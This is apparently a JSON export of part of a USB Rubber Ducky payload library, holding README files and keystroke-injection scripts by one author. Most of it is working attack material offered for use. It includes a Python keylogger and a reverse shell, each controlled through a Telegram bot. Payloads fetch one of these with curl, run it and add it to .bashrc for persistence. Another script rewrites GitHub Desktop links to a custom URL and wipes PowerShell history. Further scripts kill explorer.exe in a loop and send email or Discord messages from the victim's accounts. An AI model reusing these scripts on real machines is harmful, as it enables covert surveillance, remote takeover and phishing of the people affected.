    "content": "# Kill-Explorer\nA ducky script that kills explorer.exe repeatedly resulting in loss of Windows Desktop functionality. The command executed is a simple Denial of Service for the intended user.\n## Configuration\n1. Execute on windows 10 or Windows 11.\n2. Logoff or restart to reset your windows session.\n## Notes\nA great tool for distractions or social engineering.\n## Windows Command (used in payload)\n```Powershell\npowershell /w 1 while($true){kill -name explorer}\n```\n"
  },
  {
    "path": "payloads/library/execution/Make_Windows_performant_but_ugly_and_boring/README.md",
    "content": "# Make Windows performant (but ugly and boring)\n\nThis script can be used to change some advanced Windows settings to make it as efficient as possible albeit losing some of the fluidity and beauty of the operating system.\n\nThis script is Plug-And-Play <3\n\n**Category**: Execution\n\n![](Make_Windows_performant_but_ugly_and_boring.gif)\n\n## Description\n\nThis script can be used to change some advanced Windows settings to make it as efficient as possible albeit losing some of the fluidity and beauty of the operating system.\n\nThe script opens the Windows advanced settings via sysdm.cpl and accesses the advanced settings by changing the selected option for best performance and unchecking all possible features.\n\n### Dependencies\n\n* Nothing is needed, this script is Plug-And-Play <3\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Make_Windows_performant_but_ugly_and_boring/payload.txt",
    "content": "REM ##################################################################\nREM #                                                                |\nREM # Title        : Make Windows performant (but ugly and boring)   |\nREM # Author       : Aleff                                           |\nREM # Version      : 1.0                                             |\nREM # Category     : Execution                                         |\nREM # Target       : Windows 10/11                                   |\nREM #                                                                |\nREM ##################################################################\n\nREM Plug-And-Play <3\n\nREM Requirements:\nREM     - Nothing\n\nREM Note:\nREM     - Payload tested on Windows 11 Eng \n\n\nGUI r\nDELAY 2000\n\nREM Open advanced settings\nSTRING sysdm.cpl\nENTER\nDELAY 2000\n\nREM Goto nav bar\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\n\nREM Goto Advanced\nRIGHTARROW\nDELAY 500\nRIGHTARROW\nDELAY 500\n\nREM Open Settings\nTAB\nDELAY 500\nREM Invia il comando\nENTER\nDELAY 1000\n\nREM Adjust for best performance\nDOWNARROW\nDELAY 500\nDOWNARROW\nDELAY 500\n\nREM Save it\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 3000\n\nREM Close the windows (not the os lol)\nALT F4\nDELAY 500\nALT F4\nDELAY 500\n"
  },
  {
    "path": "payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md",
    "content": "# Persistent Keylogger - Telegram Based\n\nA script used to configure a persistent keylogger on a Linux computer through a pre-configured Telegram Bot.\n\n**Category**: Execution\n\n## Dependencies\n\n* Internet Connection\n\n## Description\n\nA script used to configure a persistent keylogger on a Linux computer through a pre-configured Telegram Bot.\n\nThis payload is based on [Telegram Persistent Connection](Telegram_Persistent_Connection) payload for create the Telegram connection.\n\nIn the script, you can find two classes that inherit Thread called Keylogger and Sender, and a shared memory class called Log. The Thread classes perform two distinct tasks:\n\n- Keylogger: The Keylogger class is responsible for capturing the pressed keys using the keyboard library. Based on the detected key, a modified callback function specified in the function call is invoked. When the usage of a certain keyboard key is detected, it is subsequently added to the log variable using the `add_to_log()` method of the `self.log` object from the Log class.\n\n- Sender: The Sender class represents a thread solely dedicated to periodically invoking the `send_log()` method of the `self.log` object from the Log class.\n\n- Log: The Log class represents a shared memory entity. The shared memory is the variable `self.log`, which is periodically managed through the `add_to_log()` and `send_log()` methods. This class was designed with the aim of avoiding data loss, and thus a lock management system was applied to prevent undesirable or unexpected situations when multiple users write rapidly. To handle the locks, `RLock` and `Condition` were chosen in the respective methods of the class.\n\nThe `add_to_log(self, log)` method acquires the lock through the invocation of `with self.lock` and updates the internal variable with the new received character. As the only waiting condition on the lock management is when the variable `self.lock` is empty, immediately after updating the internal variable, the unlocking function `self.condition.notify_all()` is invoked, allowing all threads (in this case, actually only 1, the Sender) to wake up and proceed with the sending operation.\n\nThe `send_log(self)` method acquires the lock and enters a waiting condition using `self.condition.wait()` if the variable `self.log` is empty. Once the lock is reacquired following a wake-up, the Sender Thread proceeds with sending the message using the `bot.send_message(...)` command, resetting the `self.log` variable to an empty initial state.\n\nIt is worth noting that although this Telegram bot could be used dynamically by anyone, it might be a good practice to use the ID statically (line 16 of the Python file) since the message recipients will always be you and not someone else (at least it shouldn't be so). This aspect may be considered less secure as it exposes sensitive and delicate information concerning your privacy and identity. However, since this script is not intended for malicious purposes or real-world use, but rather for educational purposes, it has been thoughtfully created and designed for study purposes.\n\nBecause Telegram uses a limited size per message, the script divides the output of the command into a theoretically infinite chunk of 1000 characters in length that will be sent one by one through the Telegram Bot.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py",
    "content": "from telebot import TeleBot\nfrom time import sleep\nimport keyboard\nfrom threading import Thread,RLock,Condition\n\n# Set here the Telegram bot token\nBOT_TOKEN = \"\"\nbot = TeleBot(BOT_TOKEN)\n\nclass Log:\n    def __init__(self):\n        self.log = \"\"\n        self.lock = RLock()\n        self.condition = Condition(self.lock)\n        # Set here the Telegram user id\n        self.id = \"0123456789\"\n       \n    def add_to_log(self, log):\n    \twith self.lock:\n    \t    #print(\"Adding to log...\")\n    \t    self.log += log\n    \t    self.condition.notify_all()\n    \n    def send_log(self):\n        with self.lock:\n            #print(\"Sending to bot...\")\n            while self.log == \"\":\n                #print(\"Waiting resources...\")\n                self.condition.wait()\n            #print(\"Sending message!\")\n            bot.send_message(self.id, self.log)\n            self.log = \"\"\n\nclass Keylogger(Thread):\n\n    def __init__(self, log):\n        super().__init__()\n        self.log = log\n       \n    def callback(self, event):\n        name = event.name\n        if len(name) > 1:\n            if name == \"space\":\n                name = \"[SPACE]\"\n            elif name == \"enter\":\n                name = \"[ENTER]\\n\"\n            elif name == \"decimal\":\n                name = \".\"\n            else:\n                name = name.replace(\" \", \"_\")\n                name = f\"[{name.upper()}]\"\n        #print(f\"Keylogger add to log: {name}\")\n        self.log.add_to_log(name)\n        \n    def run(self):\n        keyboard.on_release(callback=self.callback)\n\nclass Sender(Thread):\n\n    def __init__(self, log):\n        super().__init__()\n        self.log = log\n    \n    def run(self):\n        while True:\n            sleep(5)\n            #print(\"Sender send log\")\n            self.log.send_log()\n\n\nlog = Log()\n\nkeylogger = Keylogger(log)\nkeylogger.start()\n\nsender = Sender(log)\nsender.start()\n\nbot.infinity_polling()\n"
  },
  {
    "path": "payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt",
    "content": "REM ########################################################\nREM #                                                      #\nREM # Title        : Persistent Keylogger - Telegram Based #\nREM # Author       : Aleff                                 #\nREM # Version      : 1.0                                   #\nREM # Category     : Execution                             #\nREM # Target       : Linux                                 #\nREM #                                                      #\nREM ########################################################\n\nREM Requirements:\nREM     - Internet Connection\n\nREM Here you must put your own file link\nDEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\nSTRINGLN_BLOCK\n\tcurl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo \"if ! pgrep -f connection.py >/dev/null; then\n\tpython3 connection.py &\n\tfi\" >> .bashrc; exit\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/README.md",
    "content": "# Persistent Reverse Shell - Telegram Based\n\nA script used to configure a persistent reverse shell on a Linux computer through a pre-configured Telegram Bot.\n\n**Category**: Execution\n\n## Dependencies\n\n* Internet Connection\n\n## Description\n\nA script used to configure a persistent reverse shell on a Linux computer through a pre-configured Telegram Bot.\n\nThis payload is based on [Telegram Persistent Connection](Telegram_Persistent_Connection) payload for create the Telegram connection.\n\nThe script accept the `/reverse` command using the format `/reverse <shell_command>` and split `/reverse` from `<shell_command>` through the `extract_command()` function, then execute the command acquired acquiring the output through the function `run_command()`.\n\nBecause Telegram uses a limited size per message, the script divides the output of the command into a theoretically infinite chunk of 1000 characters in length that will be sent one by one through the Telegram Bot.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/connection.py",
    "content": "from telebot import TeleBot, types\nimport subprocess\n\n# Set here the Telegram bot token\nBOT_TOKEN = \"\"\nbot = TeleBot(BOT_TOKEN)\n\ncommands = [\n    types.BotCommand(\"/reverse\", \"/reverse <shell_command>\")\n]\n\nbot.set_my_commands(commands=commands)\n\n@bot.message_handler(commands=['reverse'])\ndef reverse_shell(message):\n    command = extract_command(message.text)\n    if command != \"\":\n        print(f\"Command received: {command}\")\n        out = run_command(command)\n        if len(out) > 1000:\n            bot.reply_to(message, \"Message too long...\")\n            chunk_size = 1000\n            for i in range(0, len(out), chunk_size):\n                bot.send_message(message.chat.id, out[i:i+chunk_size])\n        else:\n            bot.reply_to(message, out)\n\ndef extract_command(message):\n    command_prefix = \"/reverse\"\n    if message.startswith(command_prefix):\n        return message[len(command_prefix):].strip()\n    else:\n        return None\n\ndef run_command(command):\n    try:\n        result = subprocess.check_output(command, shell=True, text=True)\n        return result.strip()\n    except subprocess.CalledProcessError as e:\n        return f\"Some error: {e}\"\n\n\nbot.infinity_polling()\n"
  },
  {
    "path": "payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/payload.txt",
    "content": "REM ############################################################\nREM #                                                          #\nREM # Title        : Persistent Reverse Shell - Telegram Based #\nREM # Author       : Aleff                                     #\nREM # Version      : 1.0                                       #\nREM # Category     : Execution                                 #\nREM # Target       : Linux                                     #\nREM #                                                          #\nREM ############################################################\n\nREM Requirements:\nREM     - Internet Connection\n\nREM Here you must put your own file link\nDEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\nSTRINGLN_BLOCK\n\tcurl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo \"if ! pgrep -f connection.py >/dev/null; then\n\tpython3 connection.py &\n\tfi\" >> .bashrc; exit\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/execution/Play_A_Song_On_An_iPhone/README.md",
    "content": "# Play A Song On An iPhone\n\nThis script can be used to play a song really fast using an iPhone, so iOS system.\n\nOpen search bar, then open the Music app (I used the italian name so 'Telefono'), then delete what is (hidden) stored and write the number, then call it.\n\n**Category**: Execution\n\n## Dependencies\n\n* The phone must be unlocked\n\n## Test\n\n- iPhone 14\n- iOS 16.4.1\n\n## Settings\n\n- You need to change the name of the application according to the language you have on your phone.\n\n  ```DuckyScript\n  [20] DEFINE #MUSIC-APP-NAME example\n  ```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Play_A_Song_On_An_iPhone/payload.txt",
    "content": "REM_BLOCK\n##############################################\n#                                            #\n# Title        : Play A Song On An iPhone    #\n# Author       : Aleff                       #\n# Version      : 1.0                         #\n# Category     : Execution                   #\n# Target       : iPhone                      #\n#                                            #\n##############################################\nEND_REM\n\nREM Requirements:\nREM     - The phone must be unlocked\n\nREM Tested on:\nREM     - iPhone 14\nREM     - iOS 16.4.1\n\nREM You need to change the name of the application according to the language you have on your phone.\nDEFINE #MUSIC-APP-NAME example\n\nDELAY 500\nGUI SPACE\nDELAY 300\nSTRINGLN #MUSIC-APP-NAME\nDELAY 1000\nSPACE\nDELAY 500\nGUI h\n"
  },
  {
    "path": "payloads/library/execution/Replace_Links_In_GithubDesktop/README.md",
    "content": "# Replace Links In GithubDesktop\n\nThis script is written in **DuckyScript** and is designed to modify links in the GitHub Desktop application on Windows 10/11 systems. It automates the replacement of GitHub URLs with a custom URL defined by the user.\n\n![](https://github.com/aleff-github/Deposito/blob/main/Replace_Links_In_GithubDesktop/GithubDesktop.gif?raw=true)\n\n## Table of Contents\n\n- [Features](#features)\n- [Prerequisites](#prerequisites)\n- [Usage](#usage)\n- [Credits](#credits)\n\n## Features\n\nThis script replaces the hardcoded GitHub links in the `renderer.js` and `main.js` files inside the GitHub Desktop application with a custom link provided by the user. It does the following:\n\n1. Detects the installation folder of GitHub Desktop.\n2. Identifies the latest installed version of GitHub Desktop. It may happen that there are multiple versions on the computer but it is always the most recent one that is used, I would suggest to Github Desktop developers to remove old versions that unnecessarily burden a computer.\n3. Replaces any occurrences of GitHub URLs in the `renderer.js` and `main.js` files with a new link defined by the user.\n\nThe script uses **PowerShell** to perform this replacement after detecting the operating system and target files.\n\n## Prerequisites\n\n- **Windows 10/11**\n- **GitHub Desktop** installed on the machine.\n\n## Usage\n\n1. **Modify the script**:\n   - Define the new URL to replace the original GitHub link by modifying the `#NEW_LINK` variable in the script:\n     ```duckyscript\n     DEFINE #NEW_LINK example.com\n     ```\n\n2. **Customization**:\n   - Ensure that the path to GitHub Desktop is correct. If GitHub Desktop is installed in a non-default location, modify the `#SUBDIRECTORY` variable accordingly:\n     ```ducky\n     DEFINE #SUBDIRECTORY \\AppData\\Local\\GitHubDesktop\n     ```\n\n3. **Execution**:\n   - Upon execution, the script will:\n     - Open PowerShell.\n     - Detect the GitHub Desktop installation directory.\n     - Replace all GitHub URLs in the `renderer.js` and `main.js` files with the new URL you specified.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Replace_Links_In_GithubDesktop/payload.txt",
    "content": "REM_BLOCK\n#####################################################\n#                                                   #\n# Title        : Replace Links In GithubDesktop     #\n# Author       : Aleff                              #\n# Version      : 1.0                                #\n# Category     : Execution                          #\n# Target       : Windows 10/11                      #\n#                                                   #\n#####################################################\nEND_REM\n\n\nREM REQUIRED - Define here the new url that will replace the original github link\nDEFINE #NEW_LINK example.com\n\nREM DON'T CHANGE - This variable is a constant in this case, change it only if you are sure that the path to GithubDesktop is not the default\nDEFINE #SUBDIRECTORY \\AppData\\Local\\GitHubDesktop\n\n\nREM_BLOCK\n    Credits:    Hak5 LLC\n    Website:    https://hak5.org/\n    Source:     https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt\nEND_REM\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\n\nGUI r\nDELAY 1000\nSTRINGLN PowerShell\nDELAY 1000\n\nSTRINGLN_POWERSHELL\n    $path = Join-Path -Path $env:USERPROFILE -ChildPath \"#SUBDIRECTORY\"\n\n    $folders = Get-ChildItem -Path $path -Directory | Where-Object { $_.Name -like \"app-*\" }\n\n    $versions = $folders | ForEach-Object {\n        [PSCustomObject]@{\n            FolderName = $_.Name\n            Version = [version]($_.Name -replace \"app-\", \"\")\n        }\n    }\n\n    $latestVersionFolder = $versions | Sort-Object Version -Descending | Select-Object -First 1\n\n    $latestFolderPath = Join-Path -Path $path -ChildPath $latestVersionFolder.FolderName\n    $latestFolderPath += \"\\resources\\app\\\"\n    $renderer = \"renderer.js\"\n    $main = \"main.js\"\n\n    $filePath = \"$latestFolderPath$renderer\"\n\n    $fileContent = Get-Content $filePath\n    $regex = [regex]'(https:\\/\\/(?![\\w\\d\\.\\/\\-]*api)[\\w\\d\\.\\/\\-]*github[\\w\\d\\.\\/\\-]+)'\n    $modifiedContent = $fileContent -replace $regex, '#NEW_LINK'\n    Set-Content -Path $filePath -Value $modifiedContent\n\n\n    $filePath = \"$latestFolderPath$main\"\n    $fileContent = Get-Content $filePath\n    $regex = [regex]'openExternal\\(\"(https:\\/\\/[\\w\\d\\.\\/\\-]*github[\\w\\d\\.\\/\\-]+)\"\\)'\n    $modifiedContent = $fileContent -replace $regex, ('openExternal(\"#NEW_LINK\")')\n    Set-Content -Path $filePath -Value $modifiedContent; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit\n\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/execution/SendEmailThroughThunderbird/README.md",
    "content": "# Send Email Through Thunderbird\n\nThis payload can be used to prank friends by sending emails at top speed from their thunderbird clients.\n\n**Category**: Execution\n\n## Description\n\nThis payload can be used to prank friends by sending emails at top speed from their thunderbird clients.\n\nThis payload opens a shell (or powershell if running on windows), starts the Thunderbird application, and via the CTRL N sequence starts the email sending functionality that is not protected by any security system. After that it writes the recipient's email, the subject of the email and the body of the message and sends.\n\n## Getting Started\n\n### Windows 11\n\n```DuckyScript\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\nSTRINGLN Start-Process \"thunderbird.exe\"\nDELAY 4000\n```\n\n### Ubuntu 23.04\n\n```DuckyScript\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\nSTRINGLN thunderbird\nDELAY 4000\n```\n\n### Dependencies\n\n* Internet Connection\n* Thunderbird installed and email configured\n* ExecutionPolicy Bypass (for Windows target)\n\n### Settings\n\n- Receiver email address\n- Email Subject\n- Email Message\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/SendEmailThroughThunderbird/payload.txt",
    "content": "REM ########################################################\nREM #                                                      |\nREM # Title        : Send Email Through Thunderbird        |\nREM # Author       : Aleff                                 |\nREM # Version      : 1.0                                   |\nREM # Category     : Execution                             |\nREM # Target       : Windows 10/11 - Linux(debian tested)  |\nREM #                                                      |\nREM ########################################################\n\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Thunderbird installed and email configured\nREM     - ExecutionPolicy Bypass (for Windows target)\n\nREM This payload is tested on:\nREM     - Ubuntu 23.04\nREM     - Windows 11\n\nREM REQUIRED - Set receiver email address\nDEFINE EMAIL-ADDRESS example@change-it.org\n\nREM REQUIRED - Set email Subject\nDEFINE SUBJECT example\n\nREM REQUIRED - Set email message\nDEFINE MESSAGE example\n\n\nREM # PowerShell\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\nSTRINGLN Start-Process \"thunderbird.exe\"\nDELAY 4000\n\nREM # Thunderbird\nCTRL n\nDELAY 2000\nSTRING EMAIL-ADDRESS\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nSTRING SUBJECT\nDELAY 500\nTAB\nDELAY 500\nSTRING MESSAGE\nDELAY 500\nCTRL ENTER\nDELAY 2000\nENTER\n\nREM # End actions\nDELAY 2000\nALT F4\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Send_Messages_In_Discord_Channel-Server/README.md",
    "content": "# Send Messages In Discord Channel-Server\n\nThis script can be used to send messages in a specific channel of a Discord text server.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to send messages in a specific channel of a Discord text server.\n\nOpen the GUI interface and trough this one open the Discord app, then use the keyboard shortcut CTRL-k to open the server chat.\n\n**Note** that if you want to send a message within a chat that has a very common name such as #general then be aware that it is very likely that the chat of the server in which you want to send the message will not be selected but some other. If, on the other hand, you want to send it in a chat with a somewhat more specific name such as wifi-pineapple (Hak5's text channel) then almost certainly the channel in which you wish to send the message will be selected.\n\n![](assets/1.png)\n![](assets/2.png)\n\n## Dependencies\n\n* Discord Installed\n* Internet connection\n\n## Settings\n\n- If, for example, the server is Hak5 and the channel in which you want to send the message is called wifi-pineapple then you should write just wifi-pineapple\n\n    `[18] DEFINE #CHAT_NAME example`\n\n- This depends on the power of the computer and whether there are upgrades to be done\n\n    `[27] DELAY 6000`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Send_Messages_In_Discord_Channel-Server/payload.txt",
    "content": "REM ############################################################\nREM #                                                          |\nREM # Title        : Send Messages In Discord Channel-Server   |\nREM # Author       : Aleff                                     |\nREM # Version      : 1.0                                       |\nREM # Category     : Execution                                 |\nREM # Target       : Windows 10-11                             |\nREM #                                                          |\nREM ############################################################\n\n\nREM Requirements:\nREM     - Internet connection\nREM     - Discord Installed\n\n\nREM If, for example, the server is Hak5 and the channel in which you want to send the message is called usb-rubber-ducky then you should write just usb-rubber-ducky\nDEFINE #CHAT_NAME example\n\n\nREM Open Discord app\nGUI\nDELAY 1000\nSTRINGLN Discord\n\nREM This depends on the power of the computer and whether there are upgrades to be done\nDELAY 6000\n\nREM Search by Discord keyboard shortcut and open it\nCTRL-k\nDELAY 500\nSTRINGLN #CHAT_NAME\nDELAY 500\n\nSTRINGLN_BLOCK\n    Write here..\n    your...\n    messages...\nEND_STRINGLN\n\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/SetArbitraryVPN_Linux/README.md",
    "content": "# Set Arbitrary VPN - Linux ✅\n\nA script used to set an arbitrary VPN on a Linux machine.\n\n**Category**: Execution\n\n## Description\n\nA script used to set an arbitrary VPN on a Linux machine.\n\nOpens a shell, download the vpn file, set the vpn through openvpn, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Permissions\n* Internet Connection\n* 'openvpn' installed\n\n### Settings\n\n* Set the VPN file link\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/SetArbitraryVPN_Linux/payload.txt",
    "content": "\nREM ####################################\nREM #                                  |\nREM # Title        : Set Arbitrary VPN |\nREM # Author       : Aleff             |\nREM # Version      : 1.0               |\nREM # Category     : Execution         |\nREM # Target       : Linux             |\nREM #                                  |\nREM ####################################\n\nREM Requirements:\nREM     - Permissions\nREM     - Internet Connection\nREM     - 'openvpn' installed\n\nREM REQUIRED: You need to know the sudo password and replace 'example' with this\nDEFINE SUDO_PASS example\nREM REQUIRED: Set your VPN file configuration replacing example.com with your own link\nDEFINE VPN_FILE_LINK example.com\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### PERMISSIONS SECTION ####\n\n\nSTRING sudo su\nENTER\nDELAY 1000\nSTRING SUDO_PASS\nENTER\nDELAY 1000\n\n\nREM #### VPN SECTION ####\n\n\nSTRING curl \nSTRING VPN_FILE_LINK\nSTRING  > vpn_configuration.ovpn\nENTER\nREM It depends by the internet connection\nDELAY 2000\n\nSTRING openvpn vpn_configuration.ovpn\nREM It depends by the computer power\nDELAY 2000\n\n\nREM #### REMOVE TRACES ####\n\n\nSTRING rm vpn_configuration.ovpn\nENTER\nDELAY 500\n\nSTRING history -c\nENTER\nDELAY 500\n\nREM Exit from Sudo user\nSTRING exit\nENTER\nDELAY 500\n\nREM Close the shell\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/execution/Set_An_Arbitrary_And_Persistent_Tor_Circuit/README.md",
    "content": "# Set An Arbitrary And Persistent Tor Circuit\n\nThe \"Set An Arbitrary And Persistent Tor Circuit\" script is a payload designed to empower users to customize their Tor circuit according to their preferences using Duckyscript language. This payload provides the flexibility to set arbitrary Tor nodes and manually create a persistent circuit.\n\nThis script is highly versatile, as it is compatible with both Linux and Windows operating systems, thanks to the integration of the PASSIVE_WINDOWS_DETECT\\[[1](#sources)] extension, enabling automatic system detection. Although testing on MacOS was not possible, it is likely that the payload can also be used on this operating system. This extension includes its own passive detect ready optimizing execution times making the entire process more efficient.\n\nIt is essential to emphasize that the use of this script must comply with local laws and respect the privacy of others. The primary goal of \"Set An Arbitrary And Persistent Tor Circuit\" is to provide users with more direct control over their Tor connection, allowing them to customize and further enhance their online browsing experience.\n\n**Category**: Execution\n\n![1](assets/1.gif)\n\n*Dynamic visualization of the script in action. In this case I modified only the MiddleNode so that the persistence of the modification is shown but the full use of the payload results in immodifiability and persistence of all 3 nodes.*\n\n_**Note**: The nodes are unmodifiable unless the initial Tor settings are restored or unless the torrc file is subsequently modified by removing the configurations made._\n\n## Index\n\n- [Set An Arbitrary And Persistent Tor Circuit](#set-an-arbitrary-and-static-tor-circuit)\n- [Payload Description](#payload-description)\n- [Note](#note)\n- [Tor Configuration](#tor-configuration)\n- - [Description of the Tor 